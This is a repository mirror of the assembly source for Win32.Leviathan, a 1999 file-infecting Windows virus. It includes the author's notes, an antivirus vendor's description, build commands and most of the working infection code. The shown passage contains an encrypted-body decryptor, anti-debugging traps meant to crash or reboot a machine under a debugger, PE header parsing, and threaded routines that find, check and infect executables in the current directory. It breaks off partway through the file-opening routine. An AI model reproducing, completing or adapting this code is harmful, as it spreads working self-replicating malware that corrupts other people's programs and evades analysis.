mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-25 12:55:28 +00:00
1313 lines
32 KiB
NASM
1313 lines
32 KiB
NASM
|
;======================================
|
||
|
;| Win32.Leviathan (c) 1999 by Benny |
|
||
|
;======================================
|
||
|
;
|
||
|
;
|
||
|
;
|
||
|
;Author's description
|
||
|
;=====================
|
||
|
;
|
||
|
;I'm very proud to introduce my third Win32 virus. This honey is the FIRST MULTITHREADED
|
||
|
;semi-polymorphic antidebuggin' antiheuristic Win32 infector. Thats not all. This is also
|
||
|
;first virus simulatin' NEURAL NETS. Each neuron is simulated as one thread.
|
||
|
;Dendrits (more inputs) and Axons (one output) r coded as normal function parameters.
|
||
|
;Synapses ("conectors" linkin' neurons) r represented as single jumps and synchronizin'
|
||
|
;stuff. In bio-neurons, memory and ability to learn is in fact nothing other than
|
||
|
;swappin' synapses. This virus doesn't contain any learn-abilities, 'cause i've decided,
|
||
|
;there's nothing important to learn. Now, tell me, if u wanna have uncompleted virus that
|
||
|
;needs to teach step by step every shit, u want to be able to do it. I think, u don't
|
||
|
;and I don't want it too. But next version, i will improve it, i swear :-D.
|
||
|
;As u can see, this virus is wrote in very short time (ask Super for reason, hehe),
|
||
|
;so if u will see any errors, mail me to benny@post.cz. I'm expectin' the most errors
|
||
|
;and mistypes will be present in synchronizin' stuff. I know, that method of
|
||
|
;synchronizin' of threads is the worst, I could choose, but it has two reasons - debuggers
|
||
|
;and heuristic scanners. ALL threads r runnin' on the background, so EVERY heuristic
|
||
|
;scanner that wants to detect it MUST support multi-threadin'. That's not easy to code,
|
||
|
;so this is the best anti-heuristic, I know. It works well also for debuggers. When u will
|
||
|
;step this, u will see only some decryptor, some API calls and "infinite" loop. But all
|
||
|
;other stuff is runnin' on the background, so u have to watch all threads. And that's not
|
||
|
;all, u have to watch and skip one "anti-debuggin'" thread, if u hate problems
|
||
|
;with debuggin' :D. And the last thing: This virus is unoptimized, i know that. It's
|
||
|
;simulatin' program written in some HLL language. It uses many instructions, many loops,
|
||
|
;many jumps and many variables. Heuristic scanner must have very large stack to handle
|
||
|
;this babe... (the biggest problem is speed of infected programs, but who cares...:D)
|
||
|
;
|
||
|
;I think, this is the first step of makin' really armoured, anti-debuggin', anti-heuristic
|
||
|
;and (the most important thing) "inteligent" viruses.
|
||
|
;
|
||
|
;
|
||
|
;
|
||
|
;Payload
|
||
|
;--------
|
||
|
;
|
||
|
;If the virus has done at least 30 generation, u will see dialog box with some
|
||
|
;comments.
|
||
|
;
|
||
|
;
|
||
|
;
|
||
|
;AVP's description
|
||
|
;==================
|
||
|
;
|
||
|
;It is not a dangerous nonmemory resident encrypted parasitic Windows32 virus. It searches
|
||
|
;for PE EXE files (Windows executable files) in the current directory, then writes itself
|
||
|
;to the end of the file. While infecting the virus writes itself to the end of last file
|
||
|
;section, increases its size and modifies program's startup address.
|
||
|
;
|
||
|
;Starting from the 30th generation the virus displays the message window, they are different in
|
||
|
;different virus versions:
|
||
|
;
|
||
|
;
|
||
|
;Levi.3040
|
||
|
;----------
|
||
|
;
|
||
|
;Displays the following text:
|
||
|
;
|
||
|
; Win32.Wildfire (c) 1998 Magnic
|
||
|
; I am/I can - The Wildfire virus.
|
||
|
; -d e c o d e-
|
||
|
; idwhereamif73hrjddhffidosyeudifr
|
||
|
; ghfeugenekasperskydjfkdjisfatued
|
||
|
; 938rudandmydickisgrowingehdjfggk
|
||
|
;
|
||
|
;
|
||
|
;Levi.3236
|
||
|
;----------
|
||
|
;
|
||
|
;Displays the following text:
|
||
|
;
|
||
|
; Hey stupid !
|
||
|
; Win32.Leviathan (c) 1999 by Benny
|
||
|
; This is gonna be your nightmare...
|
||
|
; 30th generation of Leviathan is here... beware of me !
|
||
|
; Threads are stripped, ship is sinkin'...
|
||
|
;
|
||
|
; Greetz: Darkman/29A
|
||
|
; Super/29A
|
||
|
; Billy Belcebu/DDT
|
||
|
; and all other 29Aers...
|
||
|
;
|
||
|
; Special greet:
|
||
|
; Arthur Rimbaud
|
||
|
;
|
||
|
; New milenium is knockin on the door...
|
||
|
; New generation of viruses is here, nothing promised, no regret.
|
||
|
;
|
||
|
;
|
||
|
;While infecting the virus runs seven threads from its main procedure. Each thread performs only
|
||
|
;limited set of actions and passes control to next thread: one thread checks system conditions
|
||
|
;and enables second thread that searches for files, then third thread checks the file structure,
|
||
|
;then next thread writes the virus code to the file, e.t.c.
|
||
|
;
|
||
|
;To get access to Windows Kernel32 functions the virus scans victim files for GetModuleHandleA
|
||
|
;and GetModuleHandleW imported functions. In case no these exports found, the virus does not
|
||
|
;affect the file. Otherwise is stores functions' addresses and uses them in its installation
|
||
|
;routine.
|
||
|
;
|
||
|
;
|
||
|
;
|
||
|
;Author's notes
|
||
|
;===============
|
||
|
;
|
||
|
;Bah, as u can see, there r two versions of virus. There is also "a second one" (Win32.Levi.3236).
|
||
|
;When I finished this, I sent it to my friends and to every ppl who wanted to see it (binary only
|
||
|
;ofcoz). L8r, when I was on IRC, IntelServ (in that time, I didn't know, whata jerk IntelServ is)
|
||
|
;changed his nick to "Z0MBie" (in that time nick of one 29Aer) and asked me for source. Yeah,
|
||
|
;that time I didn't know that silly "trick", which many lamers used to get sources from someones.
|
||
|
;I gave that to him and that was BIG mystake. Well, some lamer modified source and made new
|
||
|
;variant of virus. U can see, that new version is smaller and displays another message as payload.
|
||
|
;But thing that made me laughin' and cryin' is date of release that variant prints. It prints
|
||
|
;"1998" year. That lamer wanted to show ya, that he was the first one who coded it. Many ppl
|
||
|
;thought I stolen source code from someone and "improved" that, so I had to explain everyone, I
|
||
|
;was the first and that silly version is stolen one. Here u have original source, so I hope u will
|
||
|
;believe me. And last note: None of any normal coderz could do that. Only lamerz, only ppl that
|
||
|
;can't code anything that would be able to run can do this. Let's say hello to them X-D.
|
||
|
;
|
||
|
;
|
||
|
;
|
||
|
;Greetz
|
||
|
;=======
|
||
|
;
|
||
|
; Darkman/29A............ Thanx for all
|
||
|
; Super/29A.............. Hey, thanx for motivation... X-D
|
||
|
; IntelServ.............. U lame!
|
||
|
; Magnic/WildFire/Lamer.. Hahaha, gewd. And can u code anything else?
|
||
|
; and all coderz......... Trust noone!
|
||
|
;
|
||
|
;
|
||
|
;
|
||
|
;Who is this virus dedicated for?
|
||
|
;=================================
|
||
|
;
|
||
|
;For the best French poetist ever, for Jean-Arthur-Nicolas-Rimbaud.
|
||
|
;
|
||
|
;
|
||
|
;
|
||
|
;How to build
|
||
|
;=============
|
||
|
;
|
||
|
; tasm32 -ml -q -m4 levi.asm
|
||
|
; tlink32 -Tpe -c -x -aa -r levi,,, import32
|
||
|
; pewrsec levi.exe
|
||
|
;
|
||
|
;
|
||
|
;
|
||
|
;Who da fuck is that Leviathan ?
|
||
|
;================================
|
||
|
;
|
||
|
;Open (un)holy book, stupid !
|
||
|
;
|
||
|
;
|
||
|
;
|
||
|
;(c) 1999 Benny. Enjoy!
|
||
|
|
||
|
|
||
|
|
||
|
|
||
|
.386p ;386 protected instructions
|
||
|
.model flat ;32bit offset
|
||
|
|
||
|
include win32api.inc ;some includes
|
||
|
include pe.inc
|
||
|
include mz.inc
|
||
|
include useful.inc
|
||
|
|
||
|
REALTIME_PRIORITY_CLASS = 80h ;constant for changin priorities
|
||
|
|
||
|
extrn GetModuleHandleA:PROC ;needed by first generation
|
||
|
extrn GetModuleHandleW:PROC
|
||
|
extrn ExitProcess:PROC
|
||
|
|
||
|
|
||
|
.data
|
||
|
db ? ;for tlink32's pleasure
|
||
|
ends
|
||
|
|
||
|
|
||
|
.code
|
||
|
Start:
|
||
|
pushad ;push all regs
|
||
|
j1: nop ;here starts decryptorn NOPs r filled with junk bytes
|
||
|
call j2 ;get delta
|
||
|
j2: nop
|
||
|
mov ebp, [esp]
|
||
|
j3: nop
|
||
|
sub ebp, offset j2
|
||
|
j4: nop
|
||
|
lea esi, [ebp + encrypted] ;enrypted stuff start
|
||
|
j5: nop
|
||
|
mov ecx, (virus_end - encrypted + 3) / 4 ;count
|
||
|
j6: nop
|
||
|
mov edi, 0 ;enrypt constant
|
||
|
key = dword ptr $ - 4
|
||
|
j7: nop
|
||
|
decrypt:
|
||
|
xor [esi], edi ;decrypt 4 bytes
|
||
|
j8: nop
|
||
|
add esi, 4 ;next 4 bytes
|
||
|
j9: nop
|
||
|
loop decrypt ;do it ECX times
|
||
|
|
||
|
|
||
|
encrypted:
|
||
|
pop ecx ;delta remainder
|
||
|
mov ecx, offset _GetModuleHandleA - 400000h ;first dendrit
|
||
|
MyGMHA = dword ptr $ - 4
|
||
|
mov eax, offset _GetModuleHandleW - 400000h ;second dendrit
|
||
|
MyGMHW = dword ptr $ - 4
|
||
|
call Neuron_GMH ;call first pseudo-neuron
|
||
|
jecxz error ;error, jump to host
|
||
|
mov [ebp + K32Handle], ecx ;store handle
|
||
|
xchg eax, ecx ;first dendrit
|
||
|
|
||
|
lea esi, [ebp + szAPIs] ;second dendrit
|
||
|
lea edi, [ebp + ddAPIs] ;third
|
||
|
call Neuron_GPA ;call pseudo-neuron
|
||
|
jecxz error ;error ?
|
||
|
|
||
|
call [ebp + ddGetCurrentProcess] ;get pseudo-handle of cur. process
|
||
|
mov esi, eax
|
||
|
push esi
|
||
|
call [ebp + ddGetPriorityClass] ;get current process priority
|
||
|
mov edi, eax
|
||
|
push REALTIME_PRIORITY_CLASS
|
||
|
push esi
|
||
|
call [ebp + ddSetPriorityClass] ;set new one
|
||
|
xchg eax, ecx
|
||
|
jecxz error ;error ?
|
||
|
|
||
|
call Neuron_Init ;Init neurons by pseudo-neuron
|
||
|
jecxz error
|
||
|
|
||
|
n_loop: cmp byte ptr [ebp + JumpToHost], 0 ;can i jump to host ?
|
||
|
je n_loop ;neurons r runnin', wait
|
||
|
|
||
|
push edi
|
||
|
push esi
|
||
|
call [ebp + ddSetPriorityClass] ;set back priority
|
||
|
|
||
|
xor eax, eax ;check for payload
|
||
|
mov al, 29
|
||
|
cmp [ebp + NumOfExecs], eax ;executed for 30x ?
|
||
|
jb error
|
||
|
cmp [ebp + GenerationCount], eax ;30th generation ?
|
||
|
jb error
|
||
|
in al, 40h
|
||
|
and al, 10 ;check tix
|
||
|
cmp al, 2
|
||
|
jne error
|
||
|
call Neuron_PayLoad ;call pseudo-neuron -> payload
|
||
|
|
||
|
error: mov [esp.Pushad_eax], ebp
|
||
|
popad ;recover stack and registers
|
||
|
mov eax, [eax + EntryPoint]
|
||
|
add eax, 400000h
|
||
|
jmp eax ;jump to host
|
||
|
|
||
|
;----------------------------------------------------------------------------------
|
||
|
|
||
|
Neuron_PayLoad Proc
|
||
|
call payload
|
||
|
db 'USER32', 0 ;push this name
|
||
|
payload:
|
||
|
call [ebp + ddLoadLibraryA] ;load USER32.DLL
|
||
|
test eax, eax
|
||
|
je end_payload
|
||
|
mov ebx, eax
|
||
|
lea esi, [ebp + szMessageBoxA]
|
||
|
call GetProcAddress ;find API
|
||
|
xchg eax, ecx
|
||
|
jecxz end_payload ;not found, no payload :-(
|
||
|
|
||
|
push 1000h
|
||
|
lea edx, [ebp + szMsgTitle]
|
||
|
push edx
|
||
|
lea edx, [ebp + szMsgText]
|
||
|
push edx
|
||
|
push 0
|
||
|
call ecx ;display message box
|
||
|
|
||
|
push ebx
|
||
|
call [ebp + ddFreeLibrary]
|
||
|
|
||
|
end_payload:
|
||
|
ret
|
||
|
Neuron_PayLoad EndP
|
||
|
|
||
|
;----------------------------------------------------------------------------------
|
||
|
|
||
|
Neuron_Init Proc
|
||
|
n1: xor eax, eax ;suspend neurons
|
||
|
mov [ebp + nDebugger_run], al
|
||
|
mov [ebp + nFind_run], al
|
||
|
mov [ebp + nCheck_run], al
|
||
|
mov [ebp + nInfect_run], al
|
||
|
mov [ebp + nOpenFile_run], al
|
||
|
mov [ebp + nCloseFile_run], al
|
||
|
mov [ebp + nVersion_run], 1 ;resume first neuron
|
||
|
|
||
|
lea ebx, [ebp + ddThreadID] ;create all threads/neurons
|
||
|
lea esi, [ebp + StartOfNeurons]
|
||
|
lea edi, [ebp + NHandles]
|
||
|
mov ecx, num_of_neurons
|
||
|
|
||
|
InitNeurons:
|
||
|
push ecx
|
||
|
n2: xor eax, eax
|
||
|
push ebx
|
||
|
push eax
|
||
|
push ebp
|
||
|
mov edx, [esi]
|
||
|
add edx, ebp
|
||
|
push edx
|
||
|
push eax
|
||
|
push eax
|
||
|
call [ebp + ddCreateThread] ;create thread
|
||
|
pop ecx
|
||
|
t1: test eax, eax
|
||
|
je init_er
|
||
|
stosd
|
||
|
add esi, 4
|
||
|
loop InitNeurons ;ECX times
|
||
|
init_er:
|
||
|
xchg eax, ecx
|
||
|
ret
|
||
|
Neuron_Init EndP
|
||
|
|
||
|
;----------------------------------------------------------------------------------
|
||
|
|
||
|
Neuron_GMH Proc ;dendrits: EAX - address of GMHW
|
||
|
; ECX - address of GMHA
|
||
|
;axon : ECX - module handle
|
||
|
|
||
|
mov edx, 400000h ;add Image Base
|
||
|
jecxz try_gmhW
|
||
|
add ecx, edx
|
||
|
call szk32a
|
||
|
K32 db 'KERNEL32', 0
|
||
|
szk32a: call [ecx] ;GetModuleHandleA API call
|
||
|
xchg eax, ecx
|
||
|
ret
|
||
|
try_gmhW:
|
||
|
add eax, edx
|
||
|
xchg eax, ecx
|
||
|
jecxz gmh_er
|
||
|
call szk32w
|
||
|
K32W dw 'K','E','R','N','E','L','3','2', 0
|
||
|
szk32w: call [ecx] ;GetModuleHandleW API call
|
||
|
xchg eax, ecx
|
||
|
ret
|
||
|
gmh_er: xor ecx, ecx
|
||
|
ret
|
||
|
Neuron_GMH EndP
|
||
|
|
||
|
;----------------------------------------------------------------------------------
|
||
|
|
||
|
Neuron_GPA Proc ;dendrits: EAX - module handle
|
||
|
; ESI - address of API strings
|
||
|
; EDI - address of API addresses
|
||
|
;axon : ECX = 0, if error
|
||
|
mov ebx, eax
|
||
|
n_gpa: call GetProcAddress ;get API address
|
||
|
t2: test eax, eax
|
||
|
je gpa_er
|
||
|
stosd ;store address
|
||
|
@endsz ;end string
|
||
|
mov eax, ebx
|
||
|
cmp byte ptr [esi], 0ffh ;end of APIs ?
|
||
|
jne n_gpa
|
||
|
ret
|
||
|
gpa_er: xor ecx, ecx ;error, ECX=0
|
||
|
ret
|
||
|
|
||
|
GetProcAddress:
|
||
|
pushad
|
||
|
@SEH_SetupFrame <jmp Proc_Address_not_found>
|
||
|
mov ebx, eax
|
||
|
add eax, [ebx.MZ_lfanew]
|
||
|
mov ecx, [eax.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_Size]
|
||
|
jecxz Proc_Address_not_found
|
||
|
mov ebp, ebx
|
||
|
add ebp, [eax.NT_OptionalHeader.OH_DirectoryEntries.DE_Export.DD_VirtualAddress]
|
||
|
push ecx
|
||
|
mov edx, ebx
|
||
|
add edx, [ebp.ED_AddressOfNames]
|
||
|
mov ecx, [ebp.ED_NumberOfNames]
|
||
|
n3: xor eax, eax
|
||
|
Search_for_API_name:
|
||
|
mov edi, [esp + 16]
|
||
|
mov esi, ebx
|
||
|
add esi, [edx + eax * 4]
|
||
|
Next_Char_in_API_name:
|
||
|
cmpsb
|
||
|
jz Matched_char_in_API_name
|
||
|
inc eax
|
||
|
loop Search_for_API_name
|
||
|
pop eax
|
||
|
Proc_Address_not_found:
|
||
|
n4: xor eax, eax
|
||
|
jmp End_MyGetProcAddress
|
||
|
Matched_char_in_API_name:
|
||
|
cmp byte ptr [esi-1], 0
|
||
|
jne Next_Char_in_API_name
|
||
|
pop ecx
|
||
|
mov edx, ebx
|
||
|
add edx, [ebp.ED_AddressOfOrdinals]
|
||
|
movzx eax, word ptr [edx + eax * 2]
|
||
|
Check_Index:
|
||
|
cmp eax, [ebp.ED_NumberOfFunctions]
|
||
|
jae Proc_Address_not_found
|
||
|
mov edx, ebx
|
||
|
add edx, [ebp.ED_AddressOfFunctions]
|
||
|
add ebx, [edx + eax * 4]
|
||
|
mov eax, ebx
|
||
|
sub ebx, ebp
|
||
|
cmp ebx, ecx
|
||
|
jb Proc_Address_not_found
|
||
|
End_MyGetProcAddress:
|
||
|
@SEH_RemoveFrame
|
||
|
mov [esp.Pushad_eax], eax
|
||
|
popad
|
||
|
ret
|
||
|
Neuron_GPA EndP
|
||
|
|
||
|
;----------------------------------------------------------------------------------
|
||
|
|
||
|
GetProcAddressIT proc ;dendrits: EAX - API name
|
||
|
; ECX - lptr to PE header
|
||
|
; EDX - module name
|
||
|
;axon: EAX - RVA pointer to IAT, 0 if error
|
||
|
pushad
|
||
|
n5: xor eax, eax
|
||
|
push ebp
|
||
|
mov esi, [ecx.MZ_lfanew]
|
||
|
add esi, ecx
|
||
|
mov eax, [esi.NT_OptionalHeader.OH_DirectoryEntries.DE_Import.DD_VirtualAddress]
|
||
|
mov ebp, ecx
|
||
|
push ecx
|
||
|
movzx ecx, word ptr [esi.NT_FileHeader.FH_NumberOfSections]
|
||
|
movzx ebx, word ptr [esi.NT_FileHeader.FH_SizeOfOptionalHeader]
|
||
|
lea ebx, [esi.NT_OptionalHeader + ebx]
|
||
|
scan_sections:
|
||
|
mov edx, [ebx.SH_VirtualAddress]
|
||
|
cmp edx, eax
|
||
|
je section_found
|
||
|
sub ebx, -IMAGE_SIZEOF_SECTION_HEADER
|
||
|
loop scan_sections
|
||
|
pop ecx
|
||
|
pop eax
|
||
|
jmp End_GetProcAddressIT2
|
||
|
section_found:
|
||
|
mov ebx, [ebx + 20]
|
||
|
add ebx, ebp
|
||
|
pop ecx
|
||
|
pop eax
|
||
|
test ebx, ebx
|
||
|
je End_GetProcAddressIT2
|
||
|
xor esi, esi
|
||
|
xor ebp, ebp
|
||
|
push esi
|
||
|
dec ebp
|
||
|
Get_DLL_Name:
|
||
|
pop esi
|
||
|
inc ebp
|
||
|
mov edi, [esp + 20]
|
||
|
mov ecx, [ebx.esi.ID_Name]
|
||
|
test ecx, ecx
|
||
|
je End_GetProcAddressIT2
|
||
|
sub ecx, edx
|
||
|
sub esi, -IMAGE_SIZEOF_IMPORT_DESCRIPTOR
|
||
|
push esi
|
||
|
lea esi, [ebx + ecx]
|
||
|
Next_Char_from_DLL:
|
||
|
lodsb
|
||
|
add al, -'.'
|
||
|
jz IT_nup
|
||
|
sub al, -'.' + 'a'
|
||
|
cmp al, 'z' - 'a' + 1
|
||
|
jae no_up
|
||
|
add al, -20h
|
||
|
no_up: sub al, -'a'
|
||
|
IT_nup: scasb
|
||
|
jne Get_DLL_Name
|
||
|
cmp byte ptr [edi-1], 0
|
||
|
jne Next_Char_from_DLL
|
||
|
Found_DLL_Name:
|
||
|
pop esi
|
||
|
imul eax, ebp, IMAGE_SIZEOF_IMPORT_DESCRIPTOR
|
||
|
mov ecx, [ebx + eax.ID_OriginalFirstThunk]
|
||
|
jecxz End_GetProcAddressIT2
|
||
|
sub ecx, edx
|
||
|
add ecx, ebx
|
||
|
xor esi, esi
|
||
|
Next_Imported_Name:
|
||
|
push esi
|
||
|
mov edi, [esp + 32]
|
||
|
mov esi, [ecx + esi]
|
||
|
test esi, esi
|
||
|
je End_GetProcAddressIT3
|
||
|
sub esi, edx
|
||
|
add esi, ebx
|
||
|
lodsw
|
||
|
next_char:
|
||
|
cmpsb
|
||
|
jne next_step
|
||
|
cmp byte ptr [esi-1], 0
|
||
|
je got_it
|
||
|
jmp next_char
|
||
|
next_step:
|
||
|
pop esi
|
||
|
sub esi, -4
|
||
|
jmp Next_Imported_Name
|
||
|
got_it: pop esi
|
||
|
imul ebp, IMAGE_SIZEOF_IMPORT_DESCRIPTOR
|
||
|
add ebx, ebp
|
||
|
mov eax, [ebx.ID_FirstThunk]
|
||
|
add eax, esi
|
||
|
mov [esp + 28], eax
|
||
|
jmp End_GetProcAddressIT
|
||
|
End_GetProcAddressIT3:
|
||
|
pop eax
|
||
|
End_GetProcAddressIT2:
|
||
|
n6: xor eax, eax
|
||
|
mov [esp.Pushad_eax], eax
|
||
|
End_GetProcAddressIT:
|
||
|
popad
|
||
|
ret
|
||
|
GetProcAddressIT EndP
|
||
|
|
||
|
;----------------------------------------------------------------------------------
|
||
|
|
||
|
Neuron_GetVersion Proc PASCAL uses ebx edi esi, delta_param:DWORD
|
||
|
n_getver:
|
||
|
mov ebx, delta_param ;delta offset as dendrit
|
||
|
|
||
|
n7: xor eax, eax
|
||
|
nVersion_susp:
|
||
|
cmp al, 123 ;synchronize
|
||
|
nVersion_run = byte ptr $ - 1
|
||
|
je nVersion_susp
|
||
|
|
||
|
call [ebx + ddGetVersion] ;get version of windoze
|
||
|
xor ecx, ecx
|
||
|
cmp eax, 80000000h
|
||
|
jb WinNT ;WinNT present
|
||
|
cmp ax, 0a04h
|
||
|
jb Win95 ;Win95 present
|
||
|
inc ecx ;probably Win98
|
||
|
|
||
|
Win95: jmp n_gv
|
||
|
WinNT: inc ecx
|
||
|
inc ecx
|
||
|
n_gv: inc dword ptr [ebx + NumOfExecs] ;increment variable
|
||
|
mov [ebx + ndeb_param], cl
|
||
|
mov byte ptr [ebx + nDebugger_run], 1 ;resume thread (synapse)
|
||
|
call ExitThread
|
||
|
Neuron_GetVersion EndP
|
||
|
|
||
|
;----------------------------------------------------------------------------------
|
||
|
|
||
|
ExitThread: ;current thread will be canceled
|
||
|
push 0
|
||
|
call [ebx + ddExitThread]
|
||
|
|
||
|
;----------------------------------------------------------------------------------
|
||
|
|
||
|
Neuron_Debugger Proc PASCAL uses ebx edi esi, delta_param:DWORD
|
||
|
n_debugger:
|
||
|
mov ebx, delta_param ;delta as dendrit1
|
||
|
|
||
|
n8: xor eax, eax
|
||
|
nDebugger_susp:
|
||
|
cmp al, 123 ;synchronize
|
||
|
nDebugger_run = byte ptr $ - 1
|
||
|
je nDebugger_susp
|
||
|
mov cl, 123 ;version of Windoze as dendrit2
|
||
|
ndeb_param = byte ptr $ - 1
|
||
|
cmp cl, 0
|
||
|
je end_debugger
|
||
|
|
||
|
pushad
|
||
|
@SEH_SetupFrame <jmp seh_fn>
|
||
|
push edx
|
||
|
pop dword ptr [edx] ;SEH trap
|
||
|
jmp Win98_trap
|
||
|
|
||
|
seh_rs: mov eax, [ebx + K32Handle]
|
||
|
lea esi, [ebx + szIsDebuggerPresent]
|
||
|
call GetProcAddress ;get API address
|
||
|
xchg eax, ecx
|
||
|
jecxz end_debugger
|
||
|
call ecx ;is debugger present ?
|
||
|
xchg eax, ecx
|
||
|
jecxz end_debugger
|
||
|
cmp bl, 2
|
||
|
je WinNT_trap
|
||
|
|
||
|
Win98_trap:
|
||
|
push 19cdh xor 666
|
||
|
xor word ptr [esp], 666
|
||
|
pop dword ptr [ebx + WinNT_trap] ;int 19h
|
||
|
|
||
|
WinNT_trap:
|
||
|
n9: xor eax, eax ;GP fault
|
||
|
push eax
|
||
|
pop esp
|
||
|
jmp $ - 1
|
||
|
|
||
|
seh_fn: @SEH_RemoveFrame
|
||
|
popad
|
||
|
jmp seh_rs
|
||
|
|
||
|
end_debugger:
|
||
|
mov [ebx + nFind_run], 1 ;resume thread (synapse)
|
||
|
jmp ExitThread
|
||
|
Neuron_Debugger EndP
|
||
|
|
||
|
;----------------------------------------------------------------------------------
|
||
|
|
||
|
Neuron_Find Proc PASCAL uses ebx edi esi, delta_param:DWORD
|
||
|
n_find: mov ebx, delta_param
|
||
|
|
||
|
n10: xor eax, eax
|
||
|
find_susp:
|
||
|
cmp al, 123
|
||
|
nFind_run = byte ptr $ - 1
|
||
|
je find_susp
|
||
|
|
||
|
lea edx, [ebx + WFD]
|
||
|
push edx
|
||
|
lea edx, [ebx + szExt]
|
||
|
push edx
|
||
|
call [ebx + ddFindFirstFileA] ;find first file
|
||
|
xchg eax, ecx
|
||
|
jecxz end_Find
|
||
|
mov [ebx + SearchHandle], ecx ;save handle
|
||
|
|
||
|
check&infect:
|
||
|
lea edx, [ebx + nCheck_run] ;resume check_file neuron
|
||
|
mov al, 1
|
||
|
mov [edx], al
|
||
|
nFind1_wait:
|
||
|
cmp [edx], al
|
||
|
je nFind1_wait
|
||
|
inc eax
|
||
|
cmp [edx], al
|
||
|
je try_next_file
|
||
|
|
||
|
lea edx, [ebx + nInfect_run] ;resume infect_file neuron
|
||
|
mov al, 1
|
||
|
mov [edx], al
|
||
|
nFind2_wait:
|
||
|
cmp [edx], al
|
||
|
je nFind2_wait
|
||
|
|
||
|
try_next_file:
|
||
|
lea edx, [ebx + WFD]
|
||
|
push edx
|
||
|
push [ebx + SearchHandle]
|
||
|
call [ebx + ddFindNextFileA] ;find next file
|
||
|
t3: test eax, eax
|
||
|
jne check&infect
|
||
|
|
||
|
end_Find:
|
||
|
mov al, 11h ;quit-signal to all neurons
|
||
|
mov [ebx + nCheck_run], al
|
||
|
mov [ebx + nInfect_run], al
|
||
|
mov [ebx + nOpenFile_run], al
|
||
|
mov [ebx + nCloseFile_run], al
|
||
|
mov byte ptr [ebx + JumpToHost], al
|
||
|
jmp ExitThread ;quit
|
||
|
Neuron_Find EndP
|
||
|
|
||
|
;----------------------------------------------------------------------------------
|
||
|
|
||
|
Neuron_CheckFile Proc PASCAL uses ebx edi esi, delta_param:DWORD
|
||
|
n_checkfile:
|
||
|
mov ebx, delta_param
|
||
|
|
||
|
n11: xor eax, eax
|
||
|
check_susp:
|
||
|
cmp al, 123
|
||
|
nCheck_run = byte ptr $ - 1
|
||
|
je check_susp
|
||
|
cmp [ebx + nCheck_run], 11h ;quit ?
|
||
|
je ExitThread
|
||
|
|
||
|
xor esi, esi ;discard directories
|
||
|
test byte ptr [ebx + WFD.WFD_dwFileAttributes], FILE_ATTRIBUTE_DIRECTORY
|
||
|
jne end_chkfile
|
||
|
xor ecx, ecx
|
||
|
cmp [ebx + WFD.WFD_nFileSizeHigh], ecx ;discard huge files
|
||
|
jne end_chkfile
|
||
|
mov eax, [ebx + WFD.WFD_nFileSizeLow]
|
||
|
cmp eax, 1000h ;discard file < 4096
|
||
|
jb end_chkfile
|
||
|
|
||
|
n12: xor eax, eax ;open file
|
||
|
inc eax
|
||
|
mov [ebx + nopen_param2], eax
|
||
|
lea eax, [ebx + WFD.WFD_szFileName]
|
||
|
mov [ebx + nopen_param1], eax
|
||
|
|
||
|
lea edx, [ebx + nOpenFile_run] ;synchronizin threads
|
||
|
mov al, 1
|
||
|
mov [edx], al
|
||
|
nCheck1_wait:
|
||
|
cmp [edx], al
|
||
|
je nCheck1_wait
|
||
|
inc eax
|
||
|
cmp [edx], al
|
||
|
je end_closefile
|
||
|
|
||
|
mov edx, [ebx + lpFile]
|
||
|
cmp word ptr [edx], IMAGE_DOS_SIGNATURE ;must be MZ
|
||
|
jne end_closefile
|
||
|
cmp byte ptr [edx.MZ_res2], 0
|
||
|
jne end_closefile
|
||
|
mov ecx, [edx.MZ_lfanew]
|
||
|
jecxz end_closefile
|
||
|
mov eax, [ebx + WFD.WFD_nFileSizeLow] ;valid MZ_lfanew ?
|
||
|
cmp eax, ecx
|
||
|
jb end_closefile
|
||
|
add ecx, edx
|
||
|
|
||
|
cmp dword ptr [ecx], IMAGE_NT_SIGNATURE ;must be PE\0\0
|
||
|
jne end_closefile
|
||
|
cmp word ptr [ecx.NT_FileHeader.FH_Machine], IMAGE_FILE_MACHINE_I386
|
||
|
jne end_closefile ;must be 386+
|
||
|
mov eax, dword ptr [ecx.NT_FileHeader.FH_Characteristics]
|
||
|
not al
|
||
|
test ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_DLL
|
||
|
jne end_closefile ;must be executable, mustnt be DLL
|
||
|
cmp [ecx.NT_OptionalHeader.OH_ImageBase], 400000h ;image base
|
||
|
jne end_closefile
|
||
|
mov esi, 'Levi' ;toggle flag
|
||
|
|
||
|
end_closefile:
|
||
|
n13: xor eax, eax ;close file
|
||
|
mov [ebx + nclose_param2], eax
|
||
|
inc eax
|
||
|
inc eax
|
||
|
mov [ebx + nclose_param1], eax
|
||
|
|
||
|
lea edx, [ebx + nCloseFile_run] ;synchronize threads
|
||
|
mov al, 1
|
||
|
mov [edx], al
|
||
|
nCheck2_wait:
|
||
|
cmp [edx], al
|
||
|
je nCheck2_wait
|
||
|
|
||
|
end_chkfile:
|
||
|
n14: xor eax, eax
|
||
|
cmp esi, 'Levi' ;check flag
|
||
|
je @20
|
||
|
inc eax
|
||
|
inc eax
|
||
|
@20: mov [ebx + nCheck_run], al
|
||
|
jmp check_susp
|
||
|
Neuron_CheckFile EndP
|
||
|
|
||
|
;----------------------------------------------------------------------------------
|
||
|
|
||
|
Neuron_OpenFile Proc PASCAL uses ebx edi esi, delta_param:DWORD
|
||
|
n_openfile:
|
||
|
mov ebx, delta_param
|
||
|
|
||
|
n15: xor eax, eax
|
||
|
open_susp:
|
||
|
cmp al, 123
|
||
|
nOpenFile_run = byte ptr $ - 1
|
||
|
je open_susp
|
||
|
cmp [ebx + nOpenFile_run], 11h ;quit ?
|
||
|
je ExitThread
|
||
|
|
||
|
mov esi, 12345678h
|
||
|
nopen_param1 = dword ptr $ - 4 ;name
|
||
|
mov ecx, 12345678h
|
||
|
nopen_param2 = dword ptr $ - 4
|
||
|
jecxz open_write ;open write mode
|
||
|
|
||
|
xor edi, edi
|
||
|
jmp next_open
|
||
|
open_write:
|
||
|
mov edi, 12345678h ;size
|
||
|
nopen_param3 = dword ptr $ - 4
|
||
|
next_open:
|
||
|
n16: xor eax, eax
|
||
|
dec eax
|
||
|
mov [ebx + lpFile], eax
|
||
|
inc eax
|
||
|
|
||
|
push eax
|
||
|
push eax
|
||
|
push OPEN_EXISTING
|
||
|
push eax
|
||
|
mov al, 1
|
||
|
push eax
|
||
|
ror eax, 1
|
||
|
mov ecx, edi
|
||
|
jecxz $ + 4
|
||
|
rcr eax, 1
|
||
|
push eax
|
||
|
push esi
|
